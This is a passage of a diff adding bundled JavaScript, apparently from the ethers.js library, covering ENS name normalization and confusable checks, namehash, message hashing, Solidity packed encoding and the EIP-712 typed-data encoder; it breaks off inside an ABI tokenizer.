https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59 + throw new Error(`empty label`); + } + let norm = info.output = tokens.flat(); + check_leading_underscore(norm); + let emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji); + if (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii + // 20230123: matches matches WHATWG, see note 3.3 + check_label_extension(norm); // only needed for ascii + // cant have fenced + // cant have cm + // cant have wholes + // see derive: "Fastpath ASCII" + type = 'ASCII'; + } else { + let chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together + if (!chars.length) { // theres no text, just emoji + type = 'Emoji'; + } else { + // 5.) "The label must not begin with a combining mark, that is: General_Category=Mark." + if (CM.has(norm[0])) throw error_placement('leading combining mark'); + for (let i = 1; i < token_count; i++) { // we've already checked the first token + let cps = tokens[i]; + if (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt... + // bidi_qq() not needed since emoji is LTR and cps is a CM + throw error_placement(`emoji + combining mark: "${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}"`); + } + } + check_fenced(norm); + let unique = Array_from(new Set(chars)); + let [g] = determine_group(unique); // take the first match + // see derive: "Matching Groups have Same CM Style" + // alternative: could form a hybrid type: Latin/Japanese/... + check_group(g, chars); // need text in order + check_whole(g, unique); // only need unique text (order would be required for multiple-char confusables) + type = g.N; + // 20230121: consider exposing restricted flag + // it's simpler to just check for 'Restricted' + // or even better: type.endsWith(']') + //if (g.R) info.restricted = true; + } + } + info.type = type; + } catch (err) { + info.error = err; // use full error object + } + return info; + }); + } + + function check_whole(group, unique) { + let maker; + let shared = []; + for (let cp of unique) { + let whole = WHOLE_MAP.get(cp); + if (whole === UNIQUE_PH) return; // unique, non-confusable + if (whole) { + let set = whole.M.get(cp); // groups which have a character that look-like this character + maker = maker ? maker.filter(g => set.has(g)) : Array_from(set); + if (!maker.length) return; // confusable intersection is empty + } else { + shared.push(cp); + } + } + if (maker) { + // we have 1+ confusable + // check if any of the remaining groups + // contain the shared characters too + for (let g of maker) { + if (shared.every(cp => group_has_cp(g, cp))) { + throw new Error(`whole-script confusable: ${group.N}/${g.N}`); + } + } + } + } + + // assumption: unique.size > 0 + // returns list of matching groups + function determine_group(unique) { + let groups = GROUPS; + for (let cp of unique) { + // note: we need to dodge CM that are whitelisted + // but that code isn't currently necessary + let gs = groups.filter(g => group_has_cp(g, cp)); + if (!gs.length) { + if (!GROUPS.some(g => group_has_cp(g, cp))) { + // the character was composed of valid parts + // but it's NFC form is invalid + // 20230716: change to more exact statement, see: ENSNormalize.{cs,java} + // note: this doesn't have to be a composition + // 20230720: change to full check + throw error_disallowed(cp); // this should be rare + } else { + // there is no group that contains all these characters + // throw using the highest priority group that matched + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + throw error_group_member(groups[0], cp); + } + } + groups = gs; + if (gs.length == 1) break; // there is only one group left + } + // there are at least 1 group(s) with all of these characters + return groups; + } + + // throw on first error + function flatten(split) { + return split.map(({input, error, output}) => { + if (error) { + // don't print label again if just a single label + let msg = error.message; + // bidi_qq() only necessary if msg is digits + throw new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); + } + return str_from_cps(output); + }).join(STOP_CH); + } + + function error_disallowed(cp) { + // TODO: add cp to error? + return new Error(`disallowed character: ${quoted_cp(cp)}`); + } + function error_group_member(g, cp) { + let quoted = quoted_cp(cp); + let gg = GROUPS.find(g => g.P.has(cp)); // only check primary + if (gg) { + quoted = `${gg.N} ${quoted}`; + } + return new Error(`illegal mixture: ${g.N} + ${quoted}`); + } + function error_placement(where) { + return new Error(`illegal placement: ${where}`); + } + + // assumption: cps.length > 0 + // assumption: cps[0] isn't a CM + // assumption: the previous character isn't an emoji + function check_group(g, cps) { + for (let cp of cps) { + if (!group_has_cp(g, cp)) { + // for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. "e{300}{300}" + // at the moment, it's unnecessary to introduce an extra error type + // until there exists a whitelisted multi-character + // eg. if (M < 0 && is_combining_mark(cp)) { ... } + // there are 3 cases: + // 1. illegal cm for wrong group => mixture error + // 2. illegal cm for same group => cm error + // requires set of whitelist cm per group: + // eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp))) + // 3. wrong group => mixture error + throw error_group_member(g, cp); + } + } + //if (M >= 0) { // we have a known fixed cm count + if (g.M) { // we need to check for NSM + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption + // 20230210: bugfix: using cps instead of decomposed h/t Carbon225 + /* + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`); + } + i = j; + } + */ + // 20230217: switch to NSM counting + // https://www.unicode.org/reports/tr39/#Optional_Detection + if (NSM.has(decomposed[i])) { + let j = i + 1; + for (let cp; j < e && NSM.has(cp = decomposed[j]); j++) { + // a. Forbid sequences of the same nonspacing mark. + for (let k = i; k < j; k++) { // O(n^2) but n < 100 + if (decomposed[k] == cp) { + throw new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`); + } + } + } + // parse to end so we have full nsm count + // b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me). + if (j - i > NSM_MAX) { + // note: this slice starts with a base char or spacing-mark cm + throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`); + } + i = j; + } + } + } + // *** this code currently isn't needed *** + /* + let cm_whitelist = M instanceof Map; + for (let i = 0, e = cps.length; i < e; ) { + let cp = cps[i++]; + let seqs = cm_whitelist && M.get(cp); + if (seqs) { + // list of codepoints that can follow + // if this exists, this will always be 1+ + let j = i; + while (j < e && CM.has(cps[j])) j++; + let cms = cps.slice(i, j); + let match = seqs.find(seq => !compare_arrays(seq, cms)); + if (!match) throw new Error(`disallowed combining mark sequence: "${safe_str_from_cps([cp, ...cms])}"`); + i = j; + } else if (!V.has(cp)) { + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + let quoted = quoted_cp(cp); + for (let cp of cps) { + let u = UNIQUE.get(cp); + if (u && u !== g) { + // if both scripts are restricted this error is confusing + // because we don't differentiate RestrictedA from RestrictedB + if (!u.R) quoted = `${quoted} is ${u.N}`; + break; + } + } + throw new Error(`disallowed ${g.N} character: ${quoted}`); + //throw new Error(`disallowed character: ${quoted} (expected ${g.N})`); + //throw new Error(`${g.N} does not allow: ${quoted}`); + } + } + if (!cm_whitelist) { + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: "${str_from_cps(decomposed.slice(i-1, j))}" (${j-i}/${M})`); + } + i = j; + } + } + } + */ + } + + // given a list of codepoints + // returns a list of lists, where emoji are a fully-qualified (as Array subclass) + // eg. explode_cp("abc💩d") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]] + // 20230818: rename for 'process' name collision h/t Javarome + // https://github.com/adraffy/ens-normalize.js/issues/23 + function tokens_from_str(input, nf, ef) { + let ret = []; + let chars = []; + input = input.slice().reverse(); // flip so we can pop + while (input.length) { + let emoji = consume_emoji_reversed(input); + if (emoji) { + if (chars.length) { + ret.push(nf(chars)); + chars = []; + } + ret.push(ef(emoji)); + } else { + let cp = input.pop(); + if (VALID.has(cp)) { + chars.push(cp); + } else { + let cps = MAPPED.get(cp); + if (cps) { + chars.push(...cps); // less than 10 elements + } else if (!IGNORED.has(cp)) { + // 20230912: unicode 15.1 changed the order of processing such that + // disallowed parts are only rejected after NFC + // https://unicode.org/reports/tr46/#Validity_Criteria + // this doesn't impact normalization as of today + // technically, this error can be removed as the group logic will apply similar logic + // however the error type might be less clear + throw error_disallowed(cp); + } + } + } + } + if (chars.length) { + ret.push(nf(chars)); + } + return ret; + } + + function filter_fe0f(cps) { + return cps.filter(cp => cp != FE0F); + } + + // given array of codepoints + // returns the longest valid emoji sequence (or undefined if no match) + // *MUTATES* the supplied array + // disallows interleaved ignored characters + // fills (optional) eaten array with matched codepoints + function consume_emoji_reversed(cps, eaten) { + let node = EMOJI_ROOT; + let emoji; + let pos = cps.length; + while (pos) { + node = node.get(cps[--pos]); + if (!node) break; + let {V} = node; + if (V) { // this is a valid emoji (so far) + emoji = V; + cps.length = pos; // truncate + } + } + return emoji; + } + + const Zeros = new Uint8Array(32); + Zeros.fill(0); + function checkComponent(comp) { + assertArgument(comp.length !== 0, "invalid ENS name; empty component", "comp", comp); + return comp; + } + function ensNameSplit(name) { + const bytes = toUtf8Bytes(ensNormalize(name)); + const comps = []; + if (name.length === 0) { + return comps; + } + let last = 0; + for (let i = 0; i < bytes.length; i++) { + const d = bytes[i]; + // A separator (i.e. "."); copy this component + if (d === 0x2e) { + comps.push(checkComponent(bytes.slice(last, i))); + last = i + 1; + } + } + // There was a stray separator at the end of the name + assertArgument(last < bytes.length, "invalid ENS name; empty component", "name", name); + comps.push(checkComponent(bytes.slice(last))); + return comps; + } + /** + * Returns the ENS %%name%% normalized. + */ + function ensNormalize(name) { + try { + if (name.length === 0) { + throw new Error("empty label"); + } + return ens_normalize(name); + } + catch (error) { + assertArgument(false, `invalid ENS name (${error.message})`, "name", name); + } + } + /** + * Returns ``true`` if %%name%% is a valid ENS name. + */ + function isValidName(name) { + try { + return (ensNameSplit(name).length !== 0); + } + catch (error) { } + return false; + } + /** + * Returns the [[link-namehash]] for %%name%%. + */ + function namehash(name) { + assertArgument(typeof (name) === "string", "invalid ENS name; not a string", "name", name); + assertArgument(name.length, `invalid ENS name (empty label)`, "name", name); + let result = Zeros; + const comps = ensNameSplit(name); + while (comps.length) { + result = keccak256(concat([result, keccak256((comps.pop()))])); + } + return hexlify(result); + } + /** + * Returns the DNS encoded %%name%%. + * + * This is used for various parts of ENS name resolution, such + * as the wildcard resolution. + */ + function dnsEncode(name, _maxLength) { + const length = (_maxLength != null) ? _maxLength : 63; + assertArgument(length <= 255, "DNS encoded label cannot exceed 255", "length", length); + return hexlify(concat(ensNameSplit(name).map((comp) => { + assertArgument(comp.length <= length, `label ${JSON.stringify(name)} exceeds ${length} bytes`, "name", name); + const bytes = new Uint8Array(comp.length + 1); + bytes.set(comp, 1); + bytes[0] = bytes.length - 1; + return bytes; + }))) + "00"; + } + + /** + * Computes the [[link-eip-191]] personal-sign message digest to sign. + * + * This prefixes the message with [[MessagePrefix]] and the decimal length + * of %%message%% and computes the [[keccak256]] digest. + * + * If %%message%% is a string, it is converted to its UTF-8 bytes + * first. To compute the digest of a [[DataHexString]], it must be converted + * to [bytes](getBytes). + * + * @example: + * hashMessage("Hello World") + * //_result: + * + * // Hashes the SIX (6) string characters, i.e. + * // [ "0", "x", "4", "2", "4", "3" ] + * hashMessage("0x4243") + * //_result: + * + * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]... + * hashMessage(getBytes("0x4243")) + * //_result: + * + * // ...which is equal to using data + * hashMessage(new Uint8Array([ 0x42, 0x43 ])) + * //_result: + * + */ + function hashMessage(message) { + if (typeof (message) === "string") { + message = toUtf8Bytes(message); + } + return keccak256(concat([ + toUtf8Bytes(MessagePrefix), + toUtf8Bytes(String(message.length)), + message + ])); + } + /** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ + function verifyMessage(message, sig) { + const digest = hashMessage(message); + return recoverAddress(digest, sig); + } + + const regexBytes = new RegExp("^bytes([0-9]+)$"); + const regexNumber = new RegExp("^(u?int)([0-9]*)$"); + const regexArray = new RegExp("^(.*)\\[([0-9]*)\\]$"); + function _pack(type, value, isArray) { + switch (type) { + case "address": + if (isArray) { + return getBytes(zeroPadValue(value, 32)); + } + return getBytes(getAddress(value)); + case "string": + return toUtf8Bytes(value); + case "bytes": + return getBytes(value); + case "bool": + value = (!!value ? "0x01" : "0x00"); + if (isArray) { + return getBytes(zeroPadValue(value, 32)); + } + return getBytes(value); + } + let match = type.match(regexNumber); + if (match) { + let signed = (match[1] === "int"); + let size = parseInt(match[2] || "256"); + assertArgument((!match[2] || match[2] === String(size)) && (size % 8 === 0) && size !== 0 && size <= 256, "invalid number type", "type", type); + if (isArray) { + size = 256; + } + if (signed) { + value = toTwos(value, size); + } + return getBytes(zeroPadValue(toBeArray(value), size / 8)); + } + match = type.match(regexBytes); + if (match) { + const size = parseInt(match[1]); + assertArgument(String(size) === match[1] && size !== 0 && size <= 32, "invalid bytes type", "type", type); + assertArgument(dataLength(value) === size, `invalid value for ${type}`, "value", value); + if (isArray) { + return getBytes(zeroPadBytes(value, 32)); + } + return value; + } + match = type.match(regexArray); + if (match && Array.isArray(value)) { + const baseType = match[1]; + const count = parseInt(match[2] || String(value.length)); + assertArgument(count === value.length, `invalid array length for ${type}`, "value", value); + const result = []; + value.forEach(function (value) { + result.push(_pack(baseType, value, true)); + }); + return getBytes(concat(result)); + } + assertArgument(false, "invalid type", "type", type); + } + // @TODO: Array Enum + /** + * Computes the [[link-solc-packed]] representation of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPacked([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ + function solidityPacked(types, values) { + assertArgument(types.length === values.length, "wrong number of values; expected ${ types.length }", "values", values); + const tight = []; + types.forEach(function (type, index) { + tight.push(_pack(type, values[index])); + }); + return hexlify(concat(tight)); + } + /** + * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedKeccak256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ + function solidityPackedKeccak256(types, values) { + return keccak256(solidityPacked(types, values)); + } + /** + * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedSha256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ + function solidityPackedSha256(types, values) { + return sha256(solidityPacked(types, values)); + } + + //import { TypedDataDomain, TypedDataField } from "@ethersproject/providerabstract-signer"; + const padding = new Uint8Array(32); + padding.fill(0); + const BN__1 = BigInt(-1); + const BN_0$3 = BigInt(0); + const BN_1$1 = BigInt(1); + const BN_MAX_UINT256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + function hexPadRight(value) { + const bytes = getBytes(value); + const padOffset = bytes.length % 32; + if (padOffset) { + return concat([bytes, padding.slice(padOffset)]); + } + return hexlify(bytes); + } + const hexTrue = toBeHex(BN_1$1, 32); + const hexFalse = toBeHex(BN_0$3, 32); + const domainFieldTypes = { + name: "string", + version: "string", + chainId: "uint256", + verifyingContract: "address", + salt: "bytes32" + }; + const domainFieldNames = [ + "name", "version", "chainId", "verifyingContract", "salt" + ]; + function checkString(key) { + return function (value) { + assertArgument(typeof (value) === "string", `invalid domain value for ${JSON.stringify(key)}`, `domain.${key}`, value); + return value; + }; + } + const domainChecks = { + name: checkString("name"), + version: checkString("version"), + chainId: function (_value) { + const value = getBigInt(_value, "domain.chainId"); + assertArgument(value >= 0, "invalid chain ID", "domain.chainId", _value); + if (Number.isSafeInteger(value)) { + return Number(value); + } + return toQuantity(value); + }, + verifyingContract: function (value) { + try { + return getAddress(value).toLowerCase(); + } + catch (error) { } + assertArgument(false, `invalid domain value "verifyingContract"`, "domain.verifyingContract", value); + }, + salt: function (value) { + const bytes = getBytes(value, "domain.salt"); + assertArgument(bytes.length === 32, `invalid domain value "salt"`, "domain.salt", value); + return hexlify(bytes); + } + }; + function getBaseEncoder(type) { + // intXX and uintXX + { + const match = type.match(/^(u?)int(\d+)$/); + if (match) { + const signed = (match[1] === ""); + const width = parseInt(match[2]); + assertArgument(width % 8 === 0 && width !== 0 && width <= 256 && match[2] === String(width), "invalid numeric width", "type", type); + const boundsUpper = mask(BN_MAX_UINT256, signed ? (width - 1) : width); + const boundsLower = signed ? ((boundsUpper + BN_1$1) * BN__1) : BN_0$3; + return function (_value) { + const value = getBigInt(_value, "value"); + assertArgument(value >= boundsLower && value <= boundsUpper, `value out-of-bounds for ${type}`, "value", value); + return toBeHex(signed ? toTwos(value, 256) : value, 32); + }; + } + } + // bytesXX + { + const match = type.match(/^bytes(\d+)$/); + if (match) { + const width = parseInt(match[1]); + assertArgument(width !== 0 && width <= 32 && match[1] === String(width), "invalid bytes width", "type", type); + return function (value) { + const bytes = getBytes(value); + assertArgument(bytes.length === width, `invalid length for ${type}`, "value", value); + return hexPadRight(value); + }; + } + } + switch (type) { + case "address": return function (value) { + return zeroPadValue(getAddress(value), 32); + }; + case "bool": return function (value) { + return ((!value) ? hexFalse : hexTrue); + }; + case "bytes": return function (value) { + return keccak256(value); + }; + case "string": return function (value) { + return id(value); + }; + } + return null; + } + function encodeType(name, fields) { + return `${name}(${fields.map(({ name, type }) => (type + " " + name)).join(",")})`; + } + // foo[][3] => { base: "foo", index: "[][3]", array: { + // base: "foo", prefix: "foo[]", count: 3 } } + function splitArray(type) { + const match = type.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/); + if (match) { + return { + base: match[1], + index: (match[2] + match[4]), + array: { + base: match[1], + prefix: (match[1] + match[2]), + count: (match[5] ? parseInt(match[5]) : -1), + } + }; + } + return { base: type }; + } + /** + * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads + * for signed typed data. + * + * This is useful for those that wish to compute various components of a + * typed data hash, primary types, or sub-components, but generally the + * higher level [[Signer-signTypedData]] is more useful. + */ + class TypedDataEncoder { + /** + * The primary type for the structured [[types]]. + * + * This is derived automatically from the [[types]], since no + * recursion is possible, once the DAG for the types is consturcted + * internally, the primary type must be the only remaining type with + * no parent nodes. + */ + primaryType; + #types; + /** + * The types. + */ + get types() { + return JSON.parse(this.#types); + } + #fullTypes; + #encoderCache; + /** + * Create a new **TypedDataEncoder** for %%types%%. + * + * This performs all necessary checking that types are valid and + * do not violate the [[link-eip-712]] structural constraints as + * well as computes the [[primaryType]]. + */ + constructor(_types) { + this.#fullTypes = new Map(); + this.#encoderCache = new Map(); + // Link struct types to their direct child structs + const links = new Map(); + // Link structs to structs which contain them as a child + const parents = new Map(); + // Link all subtypes within a given struct + const subtypes = new Map(); + const types = {}; + Object.keys(_types).forEach((type) => { + types[type] = _types[type].map(({ name, type }) => { + // Normalize the base type (unless name conflict) + let { base, index } = splitArray(type); + if (base === "int" && !_types["int"]) { + base = "int256"; + } + if (base === "uint" && !_types["uint"]) { + base = "uint256"; + } + return { name, type: (base + (index || "")) }; + }); + links.set(type, new Set()); + parents.set(type, []); + subtypes.set(type, new Set()); + }); + this.#types = JSON.stringify(types); + for (const name in types) { + const uniqueNames = new Set(); + for (const field of types[name]) { + // Check each field has a unique name + assertArgument(!uniqueNames.has(field.name), `duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, "types", _types); + uniqueNames.add(field.name); + // Get the base type (drop any array specifiers) + const baseType = splitArray(field.type).base; + assertArgument(baseType !== name, `circular type reference to ${JSON.stringify(baseType)}`, "types", _types); + // Is this a base encoding type? + const encoder = getBaseEncoder(baseType); + if (encoder) { + continue; + } + assertArgument(parents.has(baseType), `unknown type ${JSON.stringify(baseType)}`, "types", _types); + // Add linkage + parents.get(baseType).push(name); + links.get(name).add(baseType); + } + } + // Deduce the primary type + const primaryTypes = Array.from(parents.keys()).filter((n) => (parents.get(n).length === 0)); + assertArgument(primaryTypes.length !== 0, "missing primary type", "types", _types); + assertArgument(primaryTypes.length === 1, `ambiguous primary types or unused types: ${primaryTypes.map((t) => (JSON.stringify(t))).join(", ")}`, "types", _types); + defineProperties(this, { primaryType: primaryTypes[0] }); + // Check for circular type references + function checkCircular(type, found) { + assertArgument(!found.has(type), `circular type reference to ${JSON.stringify(type)}`, "types", _types); + found.add(type); + for (const child of links.get(type)) { + if (!parents.has(child)) { + continue; + } + // Recursively check children + checkCircular(child, found); + // Mark all ancestors as having this decendant + for (const subtype of found) { + subtypes.get(subtype).add(child); + } + } + found.delete(type); + } + checkCircular(this.primaryType, new Set()); + // Compute each fully describe type + for (const [name, set] of subtypes) { + const st = Array.from(set); + st.sort(); + this.#fullTypes.set(name, encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join("")); + } + } + /** + * Returnthe encoder for the specific %%type%%. + */ + getEncoder(type) { + let encoder = this.#encoderCache.get(type); + if (!encoder) { + encoder = this.#getEncoder(type); + this.#encoderCache.set(type, encoder); + } + return encoder; + } + #getEncoder(type) { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { + return encoder; + } + } + // Array + const array = splitArray(type).array; + if (array) { + const subtype = array.prefix; + const subEncoder = this.getEncoder(subtype); + return (value) => { + assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, "value", value); + let result = value.map(subEncoder); + if (this.#fullTypes.has(subtype)) { + result = result.map(keccak256); + } + return keccak256(concat(result)); + }; + } + // Struct + const fields = this.types[type]; + if (fields) { + const encodedType = id(this.#fullTypes.get(type)); + return (value) => { + const values = fields.map(({ name, type }) => { + const result = this.getEncoder(type)(value[name]); + if (this.#fullTypes.has(type)) { + return keccak256(result); + } + return result; + }); + values.unshift(encodedType); + return concat(values); + }; + } + assertArgument(false, `unknown type: ${type}`, "type", type); + } + /** + * Return the full type for %%name%%. + */ + encodeType(name) { + const result = this.#fullTypes.get(name); + assertArgument(result, `unknown type: ${JSON.stringify(name)}`, "name", name); + return result; + } + /** + * Return the encoded %%value%% for the %%type%%. + */ + encodeData(type, value) { + return this.getEncoder(type)(value); + } + /** + * Returns the hash of %%value%% for the type of %%name%%. + */ + hashStruct(name, value) { + return keccak256(this.encodeData(name, value)); + } + /** + * Return the fulled encoded %%value%% for the [[types]]. + */ + encode(value) { + return this.encodeData(this.primaryType, value); + } + /** + * Return the hash of the fully encoded %%value%% for the [[types]]. + */ + hash(value) { + return this.hashStruct(this.primaryType, value); + } + /** + * @_ignore: + */ + _visit(type, value, callback) { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { + return callback(type, value); + } + } + // Array + const array = splitArray(type).array; + if (array) { + assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, "value", value); + return value.map((v) => this._visit(array.prefix, v, callback)); + } + // Struct + const fields = this.types[type]; + if (fields) { + return fields.reduce((accum, { name, type }) => { + accum[name] = this._visit(type, value[name], callback); + return accum; + }, {}); + } + assertArgument(false, `unknown type: ${type}`, "type", type); + } + /** + * Call %%calback%% for each value in %%value%%, passing the type and + * component within %%value%%. + * + * This is useful for replacing addresses or other transformation that + * may be desired on each component, based on its type. + */ + visit(value, callback) { + return this._visit(this.primaryType, value, callback); + } + /** + * Create a new **TypedDataEncoder** for %%types%%. + */ + static from(types) { + return new TypedDataEncoder(types); + } + /** + * Return the primary type for %%types%%. + */ + static getPrimaryType(types) { + return TypedDataEncoder.from(types).primaryType; + } + /** + * Return the hashed struct for %%value%% using %%types%% and %%name%%. + */ + static hashStruct(name, types, value) { + return TypedDataEncoder.from(types).hashStruct(name, value); + } + /** + * Return the domain hash for %%domain%%. + */ + static hashDomain(domain) { + const domainFields = []; + for (const name in domain) { + if (domain[name] == null) { + continue; + } + const type = domainFieldTypes[name]; + assertArgument(type, `invalid typed-data domain key: ${JSON.stringify(name)}`, "domain", domain); + domainFields.push({ name, type }); + } + domainFields.sort((a, b) => { + return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name); + }); + return TypedDataEncoder.hashStruct("EIP712Domain", { EIP712Domain: domainFields }, domain); + } + /** + * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static encode(domain, types, value) { + return concat([ + "0x1901", + TypedDataEncoder.hashDomain(domain), + TypedDataEncoder.from(types).hash(value) + ]); + } + /** + * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static hash(domain, types, value) { + return keccak256(TypedDataEncoder.encode(domain, types, value)); + } + // Replaces all address types with ENS names with their looked up address + /** + * Resolves to the value from resolving all addresses in %%value%% for + * %%types%% and the %%domain%%. + */ + static async resolveNames(domain, types, value, resolveName) { + // Make a copy to isolate it from the object passed in + domain = Object.assign({}, domain); + // Allow passing null to ignore value + for (const key in domain) { + if (domain[key] == null) { + delete domain[key]; + } + } + // Look up all ENS names + const ensCache = {}; + // Do we need to look up the domain's verifyingContract? + if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) { + ensCache[domain.verifyingContract] = "0x"; + } + // We are going to use the encoder to visit all the base values + const encoder = TypedDataEncoder.from(types); + // Get a list of all the addresses + encoder.visit(value, (type, value) => { + if (type === "address" && !isHexString(value, 20)) { + ensCache[value] = "0x"; + } + return value; + }); + // Lookup each name + for (const name in ensCache) { + ensCache[name] = await resolveName(name); + } + // Replace the domain verifyingContract if needed + if (domain.verifyingContract && ensCache[domain.verifyingContract]) { + domain.verifyingContract = ensCache[domain.verifyingContract]; + } + // Replace all ENS names with their address + value = encoder.visit(value, (type, value) => { + if (type === "address" && ensCache[value]) { + return ensCache[value]; + } + return value; + }); + return { domain, value }; + } + /** + * Returns the JSON-encoded payload expected by nodes which implement + * the JSON-RPC [[link-eip-712]] method. + */ + static getPayload(domain, types, value) { + // Validate the domain fields + TypedDataEncoder.hashDomain(domain); + // Derive the EIP712Domain Struct reference type + const domainValues = {}; + const domainTypes = []; + domainFieldNames.forEach((name) => { + const value = domain[name]; + if (value == null) { + return; + } + domainValues[name] = domainChecks[name](value); + domainTypes.push({ name, type: domainFieldTypes[name] }); + }); + const encoder = TypedDataEncoder.from(types); + // Get the normalized types + types = encoder.types; + const typesWithDomain = Object.assign({}, types); + assertArgument(typesWithDomain.EIP712Domain == null, "types must not contain EIP712Domain type", "types.EIP712Domain", types); + typesWithDomain.EIP712Domain = domainTypes; + // Validate the data structures and types + encoder.encode(value); + return { + types: typesWithDomain, + domain: domainValues, + primaryType: encoder.primaryType, + message: encoder.visit(value, (type, value) => { + // bytes + if (type.match(/^bytes(\d*)/)) { + return hexlify(getBytes(value)); + } + // uint or int + if (type.match(/^u?int/)) { + return getBigInt(value).toString(); + } + switch (type) { + case "address": + return value.toLowerCase(); + case "bool": + return !!value; + case "string": + assertArgument(typeof (value) === "string", "invalid string", "value", value); + return value; + } + assertArgument(false, "unsupported type", "type", type); + }) + }; + } + } + /** + * Compute the address used to sign the typed data for the %%signature%%. + */ + function verifyTypedData(domain, types, value, signature) { + return recoverAddress(TypedDataEncoder.hash(domain, types, value), signature); + } + + /** + * A fragment is a single item from an ABI, which may represent any of: + * + * - [Functions](FunctionFragment) + * - [Events](EventFragment) + * - [Constructors](ConstructorFragment) + * - Custom [Errors](ErrorFragment) + * - [Fallback or Receive](FallbackFragment) functions + * + * @_subsection api/abi/abi-coder:Fragments [about-fragments] + */ + // [ "a", "b" ] => { "a": 1, "b": 1 } + function setify(items) { + const result = new Set(); + items.forEach((k) => result.add(k)); + return Object.freeze(result); + } + const _kwVisibDeploy = "external public payable override"; + const KwVisibDeploy = setify(_kwVisibDeploy.split(" ")); + // Visibility Keywords + const _kwVisib = "constant external internal payable private public pure view override"; + const KwVisib = setify(_kwVisib.split(" ")); + const _kwTypes = "constructor error event fallback function receive struct"; + const KwTypes = setify(_kwTypes.split(" ")); + const _kwModifiers = "calldata memory storage payable indexed"; + const KwModifiers = setify(_kwModifiers.split(" ")); + const _kwOther = "tuple returns"; + // All Keywords + const _keywords = [_kwTypes, _kwModifiers, _kwOther, _kwVisib].join(" "); + const Keywords = setify(_keywords.split(" ")); + // Single character tokens + const SimpleTokens = { + "(": "OPEN_PAREN", ")": "CLOSE_PAREN", + "[": "OPEN_BRACKET", "]": "CLOSE_BRACKET", + ",": "COMMA", "@": "AT" + }; + // Parser regexes to consume the next token + const regexWhitespacePrefix = new RegExp("^(\\s*)"); + const regexNumberPrefix = new RegExp("^([0-9]+)"); + const regexIdPrefix = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)"); + // Parser regexs to check validity + const regexId = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$"); + const regexType = new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$"); + class TokenString { + #offset; + #tokens; + get offset() { return this.#offset; } + get length() { return this.#tokens.length - this.#offset; } + constructor(tokens) { + this.#offset = 0; + this.#tokens = tokens.slice(); + } + clone() { return new TokenString(this.#tokens); } + reset() { this.#offset = 0; } + #subTokenString(from = 0, to = 0) { + return new TokenString(this.#tokens.slice(from, to).map((t) => { + return Object.freeze(Object.assign({}, t, { + match: (t.match - from), + linkBack: (t.linkBack - from), + linkNext: (t.linkNext - from), + })); + })); + } + // Pops and returns the value of the next token, if it is a keyword in allowed; throws if out of tokens + popKeyword(allowed) { + const top = this.peek(); + if (top.type !== "KEYWORD" || !allowed.has(top.text)) { + throw new Error(`expected keyword ${top.text}`); + } + return this.pop().text; + } + // Pops and returns the value of the next token if it is `type`; throws if out of tokens + popType(type) { + if (this.peek().type !== type) { + const top = this.peek(); + throw new Error(`expected ${type}; got ${top.type} ${JSON.stringify(top.text)}`); + } + return this.pop().text; + } + // Pops and returns a "(" TOKENS ")" + popParen() { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { + throw new Error("bad start"); + } + const result = 